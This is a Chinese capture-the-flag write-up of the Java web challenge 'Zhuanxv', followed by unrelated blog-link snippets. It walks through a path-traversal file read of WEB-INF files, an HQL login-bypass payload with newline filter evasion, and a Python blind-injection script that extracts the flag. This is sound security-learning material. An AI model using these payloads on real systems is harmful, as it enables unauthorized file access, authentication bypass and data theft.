【XCTF】Zhuanxv

收获

  • java题的一般流程

  • HQL注入

  • SQL注入

看题

  • 目录扫描

    dirsearch扫目录,发现list目录:

    一个登录界面,本着尽量不写sql注入题目的原则(因为太菜了这方面,抓包查看代码:

    js代码中为了加载图片直接写出了后台存储图像路径,那试试能不能通过这个url和参数直接读取源码。

  • 读源码

    先查看web.xml文件:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/web.xml

    直接得到bg.jpg文件,更改其后缀为xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app id="WebApp_9" version="2.4"
    xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
    <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
    <error-code>404</error-code>
    <location>/ctfpage/404.html</location>
    </error-page>
    </web-app>

    这里可以看到是一个struts2框架,于是我们找一下strust.xml:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/classes/strust.xml

    得到:

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
    "http://struts.apache.org/dtds/struts-2.3.dtd">
    <struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
    <global-exception-mappings>
    <exception-mapping exception="java.lang.Exception" result="error"/>
    </global-exception-mappings>
    <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
    <result name="error">/ctfpage/login.jsp</result>
    <result name="success">/ctfpage/welcome.jsp</result>
    </action>
    <action name="loadimage" class="com.cuitctf.action.DownloadAction">
    <result name="success" type="stream">
    <param name="contentType">image/jpeg</param>
    <param name="contentDisposition">attachment;filename="bg.jpg"</param>
    <param name="inputName">downloadFile</param>
    </result>
    <result name="suffix_error">/ctfpage/welcome.jsp</result>
    </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
    <interceptors>
    <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
    <interceptor-stack name="userAuth">
    <interceptor-ref name="defaultStack" />
    <interceptor-ref name="oa" />
    </interceptor-stack> </interceptors>
    <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
    <interceptor-ref name="userAuth">
    <param name="excludeMethods">
    execute
    </param>
    </interceptor-ref>
    <result name="login_error">/ctfpage/login.jsp</result>
    <result name="list_error">/ctfpage/welcome.jsp</result>
    <result name="success">/ctfpage/welcome.jsp</result>
    </action>
    </package>
    </struts>

    为了登录,先查看com.cuitctf.action.UserLoginAction,其中因为.java文件在被编译后会成为.class文件,所以payload:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class

    看完之后发现也没有什么线索,这里引用了com.cuitctf.util.InitApplicationContext继续看一下:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

    反编译成Java文件后发现引用了applicationContext.xml,继续查看:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

    源码:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
    <property name="driverClassName">
    <value>com.mysql.jdbc.Driver</value>
    </property>
    <property name="url">
    <value>jdbc:mysql://localhost:3306/sctf</value>
    </property>
    <property name="username" value="root"/>
    <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
    <property name="dataSource">
    <ref bean="dataSource"/>
    </property>
    <property name="mappingLocations">
    <value>user.hbm.xml</value>
    </property>
    <property name="hibernateProperties">
    <props>
    <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
    <prop key="hibernate.show_sql">true</prop>
    </props>
    </property>
    </bean>
    <bean id="hibernateTemplate"class="org.springframework.orm.hibernate3.HibernateTemplate">
    <property name="sessionFactory">
    <ref bean="sessionFactory"/>
    </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
    <property name="sessionFactory">
    <ref bean="sessionFactory"/>
    </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
    <property name="transactionManager">
    <ref bean="transactionManager"/>
    </property>
    <property name="transactionAttributes">
    <props>
    <prop key="add">PROPAGATION_REQUIRED</prop>
    <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
    </props>
    </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
    <property name="hibernateTemplate">
    <ref bean="hibernateTemplate"/>
    </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
    <property name="userDao">
    <ref bean="userDAO"/>
    </property>
    </bean>
    </beans>

    可以看到,这里是连接数据库的关键代码。看一下这些class文件:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/user.hbm.xml

    user.hbm.xml源码:

    <?xml version="1.0"?>
    <!DOCTYPE hibernate-mapping PUBLIC
    "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
    "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
    <hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
    <id name="id" column="user_id">
    <generator class="identity"/>
    </id>
    <property name="name"/>
    <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
    <id name="flag" column="welcometoourctf">
    <generator class="identity"/>
    </id>
    <property name="flag"/>
    </class>
    </hibernate-mapping>

    UserDaoImpl.class:

    package com.cuitctf.dao.impl;
    
    import com.cuitctf.dao.UserDao;
    import com.cuitctf.po.User;
    import java.util.List;
    import org.springframework.orm.hibernate3.support.HibernateDaoSupport; public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
    public UserDaoImpl() {
    } public List<User> findUserByName(String name) {
    return this.getHibernateTemplate().find("from User where name ='" + name + "'");
    } public List<User> loginCheck(String name, String password) {
    return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
    }
    }
  • 利用

    看了一眼wp,这里是一个HQL注入,其实和SQL注入类似,payload:

    from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

    这里使用'1'>'0'的逻辑绕过万能密码。因为代码中过滤了空格和等号,所以需要用ascii码绕过,并且使用换行代替被过滤的空格。

    admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

    登录时,password随便设,同时这里需要使用Get方法提交,直接在网页上输入是POST方法,网页没反应。

    虽然登录成功,但是没有FLAG,所以需要根据user.hbm.xml的提示信息进行sql注入。

  • 注入

    贴上大佬的盲注脚本:

    import requests
    
    s = requests.session()
    
    flag = ''
    for i in range(1, 50):
    p = ''
    for j in range(1, 255):
    # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
    payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
    # print payload
    url = "http://61.147.171.105:63105/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=1"
    r1 = s.get(url)
    if len(r1.text) > 20000 and p != '':
    flag += p
    print(i, flag)
    break
    p = chr(j)

参考文章

javaweb项目的文件结构

总结

跟着大佬博客开始学习到java安全相关的东西了。跟同龄大佬的差距真大....真是太低手了

一道入门的java安全题的更多相关文章

  1. 今天考试的JAVA编程题

    今天早上考了java, 题目感觉还不错, 共四道题,有一道定义类的没啥意思就没列出来. 这三道题目还是不错的,特别是第一道,大一上学期学linux的时候,那时还没学C语言呢,准确的来说,还不知道什么是 ...

  2. 一道很经典的 BFS 题

    一道很经典的 BFS 题 想认真的写篇题解. 题目来自:https://www.luogu.org/problemnew/show/P1126 题目描述 机器人移动学会(RMI)现在正尝试用机器人搬运 ...

  3. 牛客网Java刷题知识点之HashMap的实现原理、HashMap的存储结构、HashMap在JDK1.6、JDK1.7、JDK1.8之间的差异以及带来的性能影响

    不多说,直接上干货! 福利 => 每天都推送 欢迎大家,关注微信扫码并加入我的4个微信公众号:   大数据躺过的坑      Java从入门到架构师      人工智能躺过的坑          ...

  4. 牛客网Java刷题知识点之UDP协议是否支持HTTP和HTTPS协议?为什么?TCP协议支持吗?

    不多说,直接上干货! 福利 => 每天都推送 欢迎大家,关注微信扫码并加入我的4个微信公众号:   大数据躺过的坑      Java从入门到架构师      人工智能躺过的坑          ...

  5. 牛客网Java刷题知识点之TCP、UDP、TCP和UDP的区别、socket、TCP编程的客户端一般步骤、TCP编程的服务器端一般步骤、UDP编程的客户端一般步骤、UDP编程的服务器端一般步骤

    福利 => 每天都推送 欢迎大家,关注微信扫码并加入我的4个微信公众号:   大数据躺过的坑      Java从入门到架构师      人工智能躺过的坑         Java全栈大联盟   ...

  6. ACM_一道耗时间的水题

    一道耗时间的水题 Time Limit: 2000/1000ms (Java/Others) Problem Description: Do you know how to read the phon ...

  7. Thrift入门及Java实例演示<转载备用>

    Thrift入门及Java实例演示 作者: Michael 日期: 年 月 日 •概述 •下载配置 •基本概念 .数据类型 .服务端编码基本步骤 .客户端编码基本步骤 .数据传输协议 •实例演示(ja ...

  8. 学Android开发,入门语言java知识点

    学Android开发,入门语言java知识点 Android是一种以Linux为基础的开源码操作系统,主要使用于便携设备,而linux是用c语言和少量汇编语言写成的,如果你想研究Android,就去学 ...

  9. 50道经典的JAVA编程题(汇总)

    这是一次不可思议的编程历程.从2013年的最后一天开始做这份题,中间连续好几天的考试,包括java考试(今天考试的JAVA编程题),直到今天完成了.挺有成就感的...废话不多说了,来电实质性的吧. 全 ...

  10. 50道经典的JAVA编程题(46-50)

    50道经典的JAVA编程题(46-50),最后五道题了,这是一个美妙的过程,编程真的能让我忘掉一切投入其中,感觉很棒.今天下午考完微机原理了,大三上学期就这样度过了,这学期算是解放了,可是感觉我还是没 ...

随机推荐

  1. 社区活动 | “中文 AI 微小说大赛”正式开启报名!

    ️ 我们要求每位参赛选手以 LLM (大语言模型)为工具,将 AI 的能力与选手的创作才华相结合,创造出引人入胜.感人至深或充满疯狂的微小说! 无论你是首次接触 AI 工具还是资深的从业者,我们期待在 ...

  2. Dynamics 365 自定义渠道的步骤

    1.创建2个实体:渠道[new_flashinfosmschannel].消息模板(配置窗体)注意:如果想用标准消息模板,可以不用创建消息模板 标准消息模板效果: 2.导出解决方案,往XML增加一个关 ...

  3. Storm整合Kafka Java API源码

    1.Maven项目的pom.xml源码如下: <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi=&qu ...

  4. 「codeforces - 1344D」Résumé Review

    link. 有点狗,但还算个好题. 设定 \(f_i(x)=a_ix-x^3\),\(\Delta_i(x)=f_i(x)-f_i(x-1)\),可以洞察到 \(\Delta_i(x)\) 在正自然数 ...

  5. 文心一言 VS 讯飞星火 VS chatgpt (97)-- 算法导论9.3 3题

    三.用go语言,假设所有元素都是互异的,说明在最坏情况下,如何才能使快速排序的运行时间为O(nlgn). 文心一言: 快速排序是一种基于分治策略的排序算法,其平均时间复杂度为O(nlgn).在最坏情况 ...

  6. 2023-09-23:用go语言,假设每一次获得随机数的时候,这个数字大于100的概率是P。 尝试N次,其中大于100的次数在A次~B次之间的概率是多少? 0 < P < 1, P是double类型,

    2023-09-23:用go语言,假设每一次获得随机数的时候,这个数字大于100的概率是P. 尝试N次,其中大于100的次数在A次~B次之间的概率是多少? 0 < P < 1, P是dou ...

  7. Git——Git 常用命令

    文章目录 仓库 配置 增加/删除文件 代码提交 分支 标签 查看信息 远程同步 撤销 其他 仓库 # 在当前目录新建一个Git代码库 $ git init # 新建一个目录,将其初始化为Git代码库 ...

  8. tmai

    天猫精灵技能应用平台合作协议 发布日期:2020年03月18日 更新日期:2021年02月01日 鉴于您(语音技能.小程序或应用程序APP等的制作.提供或开发者)希望入驻或与天猫精灵技能应用平台(又称 ...

  9. 临时表、视图与系统函数_Lab2

    MySQL数据库操作 Lab1.md body { font-family: var(--vscode-markdown-font-family, -apple-system, BlinkMacSys ...

  10. 数据结构与算法 | 数组(Array)

    数组(Array) 数组(Array)应该是最基础的数据结构之一,它由相同类型的元素组成的集合,并按照一定的顺序存储在内存中.每个元素都有一个唯一的索引,可以用于访问该元素. // java 数组示例 ...